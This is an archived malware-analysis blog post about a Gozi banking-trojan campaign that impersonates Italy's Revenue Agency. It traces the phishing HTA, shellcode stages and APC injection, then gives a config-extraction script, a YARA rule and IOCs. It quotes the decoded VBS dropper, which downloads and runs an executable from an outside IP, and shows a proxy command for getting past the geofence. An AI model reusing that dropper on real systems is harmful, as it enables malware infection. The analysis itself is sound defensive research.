{
	"id": "68134096-d0f8-41c8-b283-d71c0e07062c",
	"created_at": "2026-04-06T00:09:30.646593Z",
	"updated_at": "2026-04-10T13:12:38.671652Z",
	"deleted_at": null,
	"sha1_hash": "8d7cab791c16ad032d5afee61a668b5479706fd0",
	"title": "Gozi - Italian ShellCode Dance",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3461142,
	"plain_text": "Gozi - Italian ShellCode Dance\r\nBy 0xToxin\r\nPublished: 2023-03-19 · Archived: 2026-04-05 17:13:58 UTC\r\nIntroPermalink\r\nIn this blogpost I will be going through a recent campaign targeting the Italian audience which impersonate to\r\n“The Agenzia delle Entrate” (Italian Revenue Agency) luring the victims to execute and be part of Gozi botnet.\r\nThe PhishPermalink\r\nA massive malspam email campaign was spreading around the globe targeting italian individuals impersonating to\r\nAgenzia delle Entrate letting the users know that there is some problem with VAT and payment related\r\ndocuments:\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 1 of 19\n\nTranslation:\r\nDear Customer,from the examination of the data and payments relating to the Communication of\r\nperiodic VAT eliminations, which you presented for the quarter 2023, some inconsistencies\r\nemerged.The notifications relating to the inconsistencies found are accessible in the “Tax box” (the\r\nAgency section)accessible from the Revenue Agency website (www.agenziaentrate.gov.it) and in the\r\ncomplete version in the archive attached to the current e-mail.This e-mail was created automatically,\r\ntherefore we recommend that you do not reply to this e-mail address.Verification office,National\r\nDirectorate of the Revenue Agency\r\nThe mail contains an attachment: AgenziaEntrate.hta which is part of the Social Engineering technique the\r\nthreat actor tries to apply by letting the user know in the mail that he isn’t suppose to reply back to the mail (as it’s\r\nan automatically created mail) and the only choice left for the user is to download and open the attachment.\r\nExecution ChainPermalink\r\nBelow you can see a diagram of the execution chain from the moment the phishing mail was opened:\r\nAgenziaEntrate.htaPermalink\r\nAs I’ve mentioned the email has an .hta attachment. the hta file contains inside of itself a few empty lines at the\r\nbeginning and afterward a quite good amount of nonsense data:\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 2 of 19\n\nSo the first thing I’ve noticed is obfuscated code inside of script tags:\r\nAfter cleaning the script abit we can see clearly what happens here:\r\nThe script simply takes escaped string and unescaping it.\r\nBelow is a quick script that does the job, after unescaping the string a URL decode operation was required also to\r\nsee clearly the output:\r\nimport urllib.parse\r\nescapedStr = \"do\\143u\\155%65\\156t%2E\\167%72%69%74e%28%27%3C%27%2B%27%73%63\\162i\\160%74%20l\\141%6E\\147%75ag%65%3D\r\nunicodeDecodedStr = escapedStr.encode('utf-8').decode('unicode_escape')\r\nurlDecodedStr = urllib.parse.unquote(unicodeDecodedStr)\r\nprint(urlDecodedStr)\r\ndocument.write('\u003c'+'script language=jscript.encode\u003e')\r\nJscript EncodePermalink\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 3 of 19\n\nAs we can see from the output, the content is encoded using jscript.encode and it can be decoded using this tool.\r\nAfter decoding the encoded data, the script will unescape a huge blob of data:\r\nUsing online tool such as CyberChef I’ve URL decoded the blob of data and at the first part of the data looked like\r\nobfuscated JS code, but when I’ve scrolled down I found out another script written in VBS:\r\nWindow.ReSizeTo 0, 0\r\nWindow.MoveTo -4000, -4000\r\nset runn = CreateObject(\"WScript.Shell\")\r\ndim file\r\nfile = \"%systemroot%\\\\System32\\\\LogFiles\\\\\" \u0026 \"\\login.exe\"\r\nconst DontWaitUntilFinished = false, ShowWindow = 1, DontShowWindow = 0, WaitUntilFinished = true\r\nset oShell = CreateObject(\"WScript.Shell\")\r\noShell.Run \"cmd /c curl http://191.101.2.39/installazione.exe -o %systemroot%\\\\System32\\\\LogFiles\\\\login.exe \",\r\nrunn.Run file ,0\r\nClose\r\nClearly the script tries to download external payload and drop it to the user’s disk at\r\nC:\\Windows\\System32\\LogFiles\\login.exe\r\nItaly Geofence BypassPermalink\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 4 of 19\n\nThe payload that the script tries to retirve utilize the Curl command.\r\nI’ve tried to download the file and got the error: curl: (52) Empty reply from server\r\nSo after digging throught the flags of Curl, I found the -x flag which allow access the URL through a proxy.\r\nSo I looked for HTTP proxies in Italy (free-proxy.cz) And by executed the below command I’ve managed to\r\nretrieve the payload:\r\ncurl -x 185.22.57.134:8080 http://191.101.2.39/installazione.exe -o C:\\Users\\igal\\Desktop\\AgenziaEntrate1.bin\r\nInstallazione.exePermalink\r\nIn this part I will be covering the intial loader and going through some of it functionalities. I’ve opened the loader\r\nin IDA and the first thing that caught my attention was the huge .data section:\r\nIt’s a good indication that we’re seeing a packed binary.\r\nNow going through WinMain there is a single call to a function before the termination of the program:\r\nsub_40471BPermalink\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 5 of 19\n\nThis function will be the actul main function of the loader, it will call the function mwDecryptWrapper_4041AE\r\nwhich will be the wrapper function for the decryption routine and those will be the function arguments:\r\n1. ShellCode allocated memory\r\n2. Blob1 Length\r\n3. Blob3 Data\r\nThe wrapper function will then call mwDecrypt_4040D8 and eventually the last function that will be called before\r\nsub_40471B ends will be mwExecGoziShell_4042A6 :\r\nThe function will jump into the allocated memory that it’s data was previously decrypted.\r\nDynamic AnalysisPermalink\r\nLets see this in the dynamic view:\r\nDecryption Phase:\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 6 of 19\n\nJump To ShellCode:\r\n1st ShellCodePermalink\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 7 of 19\n\nNow that we’ve entered the 1st ShellCode, We can simply dump it and open it in IDA to futher static analyze it\r\nbefore we dynamically finding our next interesting POI.\r\nDynamic API ResolvePermalink\r\nThe first thing the ShellCode will do is resolving API’s it will need to further execute some function, it will be\r\ndone by using a technique called PEB Walk and will combine inside of it hashes that simple google can help us to\r\nretrieve the hashes values, those are the API’s that will be resolved:\r\nLoadLibraryA\r\nGetProcAddress\r\nGlobalAlloc\r\nGetLastError\r\nSleep\r\nVirtualAlloc\r\nCreateToolhelp32Snapshot\r\nModule32First\r\nCloseHandle\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 8 of 19\n\nresloveShellCode2_465Permalink\r\nThen In order to jump to the next stage ShellCode a new memory will be allocated using VirtualAlloc that was\r\npreviously resolved and then the next shell will be written in the freshly allocated memory (after decrypting\r\nit[ decryptShellCode2_4F2 ]), and after that the function will jump to the ShellCode:\r\n2nd ShellCodePermalink\r\nSame as the first ShellCode, the second ShellCode will start by resolving API deynamically, those are the API’s it\r\nwill resolve:\r\nVirtualAlloc\r\nVirtualProtect\r\nVirtualFree\r\nGetVersionExA\r\nTerminateProcess\r\nExitProcess\r\nSetErrorMode\r\nAfter the API’s were resolved the ShellCode will use VirtualAlloc to create a new memory section ( 0x230000 ):\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 9 of 19\n\nThen a decryption loop will occur which will resolve and overwrite the freshly allocated memory with an\r\nexecutable binary:\r\nAt this point I’ve dumped the binary and moved to analyze it.\r\nGozi LoaderPermalink\r\nI’ve tried to upload the binary to Tria.ge and instantly got a result that they found it’s Gozi binary statically:\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 10 of 19\n\nWhich made me a bit confused because I know that Gozi stores references to it’s config below the section table\r\n(and there supposed to be 3 config entries)\r\nSo I’ve opened IDA and tried to look what’s going on with this binary, it contains a small amount of function\r\n(about 30) and in the “main” function, it will simply hold a reference to another function and will use the API\r\nExitProcess in order to execute this function:\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 11 of 19\n\nAPC InjectionPermalink\r\nI was hovering over the function mwMainFunc_4019F1 and suddently saw a call to the API QueueUserAPC\r\nThe main thing we need to know about APC Injection is that the first argument passed to QueueUserAPC will be\r\nthe malicious content that the executed thread will execute. (In this case the developers of Gozi used the API\r\nSleepEx in order to perform the injection)\r\nIn this case the first passed argument is actually a function pfnAPC_40139F which will decrypt the final Gozi\r\npayload and execute it using ExitThread\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 12 of 19\n\nLets see this in the debugger: APC Injection:\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 13 of 19\n\nFinal Payload Decryption Routine:\r\nNow I can dump the final payload and see whether or not I can extract some configs out of it.\r\nGozi BinaryPermalink\r\nI took a look below the section table and now we have 3 config entries as I would’ve expected:\r\nI won’t be going over Gozi’s capability but what was interesting for me is extracting the configurations for it, so\r\nI’ve read about how Gozi handles the configuration and how to work around it using SentinelOne blog about gozi\r\nand this was my final script:\r\nimport pefile\r\nimport re\r\nimport struct\r\nimport malduck\r\nimport binascii\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 14 of 19\n\nFILE_PATH = '/Users/igal/malwares/gozi/01-03-23/8. final.bin'\r\nFILE_DATA = open(FILE_PATH, 'rb').read()\r\ndef locate_structs():\r\n struct_list = []\r\n pe = pefile.PE(FILE_PATH)\r\n nt_head = pe.DOS_HEADER.e_lfanew\r\n file_head = nt_head + 4\r\n opt_head = file_head +18\r\n size_of_opt_head = pe.FILE_HEADER.SizeOfOptionalHeader\r\n text_section_table = opt_head + size_of_opt_head + 2\r\n num_sections = pe.FILE_HEADER.NumberOfSections\r\n size_of_section_table = 32 * (num_sections + 1)\r\n end_of_section_table = text_section_table + size_of_section_table\r\n jj_struct_start = end_of_section_table + 48\r\n structs = FILE_DATA[jj_struct_start:jj_struct_start + 60]\r\n return structs.split(b'JJ')[1:]\r\ndef convertEndian(byteData):\r\n big_endian_uint = struct.unpack('\u003eI', byteData)[0]\r\n little_endian_uint = big_endian_uint.to_bytes(4, byteorder='little')\r\n return little_endian_uint.hex()\r\ndef blobDataRetrieve(blobOff, blobLen):\r\n pe = pefile.PE(FILE_PATH)\r\n configOff = pe.get_offset_from_rva(blobOff)\r\n blobData = FILE_DATA[configOff:configOff + blobLen].split(b'\\x00\\x00\\x00\\x00\\x00')[0]\r\n return blobData\r\n \r\ndef aplibDecryption(config_data):\r\n ptxt_data = malduck.aplib.decompress(config_data)\r\n #print(ptxt_data)\r\n entry_data = []\r\n for entry in ptxt_data.split(b\"\\x00\"):\r\n if len(entry) \u003e 1:\r\n entry_data.append(entry.decode('ISO-8859-1'))\r\n return entry_data\r\ndef decodeC2(dataArray):\r\n for data in dataArray:\r\n if data.isascii() and len(data) \u003e 20:\r\n c2List = data.split(' ')\r\n for c2 in c2List:\r\n print(f'\\t[+] {c2}')\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 15 of 19\n\ndataStructs = locate_structs()\r\nfor data in dataStructs:\r\n crcHash = convertEndian(data[6:10])\r\n if crcHash == 'e1285e64': #RSA Key Hash\r\n blobOffset = int(convertEndian(data[10:14]), 16)\r\n configOff = pe.get_offset_from_rva(blobOffset)\r\n print(f'[*] RSA Key at offset:{hex(configOff)}')\r\n if crcHash == '8fb1dde1': #Config Hash\r\n blobOffset = int(convertEndian(data[10:14]), 16)\r\n blobLength = int(convertEndian(data[14:18]), 16)\r\n blobData = blobDataRetrieve(blobOffset, blobLength)\r\n decryptedData = aplibDecryption(blobData)\r\n print('[*] C2 List:')\r\n decodeC2(decryptedData)\r\n if crcHash == '68ebb983': #Wordlist Hash\r\n blobOffset = int(convertEndian(data[10:14]), 16)\r\n blobLength = int(convertEndian(data[14:18]), 16)\r\n blobData = blobDataRetrieve(blobOffset, blobLength)\r\n decryptedData = aplibDecryption(blobData)[0].split('\\r\\n')[1:-1]\r\n print('[*] Wordlist:')\r\n for word in decryptedData:\r\n print(f'\\t[+] {word}')\r\n[*] RSA Key at offset:0xa800\r\n[*] C2 List:\r\n[+] checklist.skype.com\r\n[+] 62.173.141.252\r\n[+] 31.41.44.33\r\n[+] 109.248.11.112\r\n[*] Wordlist:\r\n[+] list\r\n[+] stop\r\n[+] computer\r\n[+] desktop\r\n[+] system\r\n[+] service\r\n[+] start\r\n[+] game\r\n[+] stop\r\n[+] operation\r\n[+] black\r\n[+] line\r\n[+] white\r\n[+] mode\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 16 of 19\n\n[+] link\r\n[+] urls\r\n[+] text\r\n[+] name\r\n[+] document\r\n[+] type\r\n[+] folder\r\n[+] mouse\r\n[+] file\r\n[+] paper\r\n[+] mark\r\n[+] check\r\n[+] mask\r\n[+] level\r\n[+] memory\r\n[+] chip\r\n[+] time\r\n[+] reply\r\n[+] date\r\n[+] mirrow\r\n[+] settings\r\n[+] collect\r\n[+] options\r\n[+] value\r\n[+] manager\r\n[+] page\r\n[+] control\r\n[+] thread\r\n[+] operator\r\n[+] byte\r\n[+] char\r\n[+] return\r\n[+] device\r\n[+] driver\r\n[+] tool\r\n[+] sheet\r\n[+] util\r\n[+] book\r\n[+] class\r\n[+] window\r\n[+] handler\r\n[+] pack\r\n[+] virtual\r\n[+] test\r\n[+] active\r\n[+] collision\r\n[+] process\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 17 of 19\n\n[+] make\r\n[+] local\r\n[+] core\r\nYara RulePermalink\r\nThe below rule was created to hunt down unpacked binaries:\r\nimport \"pe\"\r\nrule Win_Gozi_JJ {\r\n meta:\r\ndescription = \"Gozi JJ Structure binary rule\"\r\nauthor = \"Igal Lytzki\"\r\nmalware_family = \"Gozi\"\r\ndate = \"15-03-23\"\r\n strings:\r\n $fingerprint = \"JJ\" ascii\r\n $peCheck = \"This program cannot be run in DOS mode\" ascii\r\n condition:\r\nall of them and #fingerprint \u003e= 2 and for all i in (1..#fingerprint - 1): (@fingerprint[i] \u003c 0\r\n}\r\nYou can see the result of proactive hunt using unpac.me yara hunt\r\nSummaryPermalink\r\nIn this blogpost we went over a recent Gozi distribution campaign that was targeting the Italian audience.\r\nThe developers added some extra layers of protection to insure the payloads are being opened by Italian only users\r\nand by this bypass AV’s to identify the retrieved payload.\r\nIOC’sPermalink\r\nSamples:\r\nAgenziaEntrate.hta - a3cec099b936e9f486de3b1492a81e55b17d5c2b06223f4256d49afc7bd212bc\r\nAgenziaEntrate_decoded.js -\r\nc99f4de75e3c6fe98d6fbbcd0a7dbf45e8c7539ec8dc77ce86cea2cfaf822b6a\r\ninstallazione.exe - 9d1e71b94eab825c928377e93377feb62e02a85b7d750b883919207119a56e0d\r\nshellcode1.bin - ebea18a2f0840080d033fb9eb3c54a91eb73f0138893e6c29eb7882bf74c1c30\r\nshellcode2.bin - df4f432719d32be6cc61598e9ca9a982dc0b6f093f8314c8557457729df3b37f\r\ngozi loader.bin - 061c271c0617e56aeb196c834fcab2d24755afa50cd95cc6a299d76be496a858\r\ngozi binary.bin - 876860a923754e2d2f6b1514d98f4914271e8cf60d3f95cf1f983e91baffa32b\r\nC2’s:\r\n62.173.141.252\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 18 of 19\n\n31.41.44.33\r\n109.248.11.112\r\nReferencesPermalink\r\nKernel32.dll hash resolve\r\nImports hashes resolve\r\nUnprotect.it APC Injection\r\nGozi crc hash resolve\r\nOaLabs Gozi notes\r\nSource: https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nhttps://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/"
	],
	"report_names": [
		"Gozi-Italy-Campaign"
	],
	"threat_actors": [],
	"ts_created_at": 1775434170,
	"ts_updated_at": 1775826758,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8d7cab791c16ad032d5afee61a668b5479706fd0.pdf",
		"text": "https://archive.orkl.eu/8d7cab791c16ad032d5afee61a668b5479706fd0.txt",
		"img": "https://archive.orkl.eu/8d7cab791c16ad032d5afee61a668b5479706fd0.jpg"
	}
}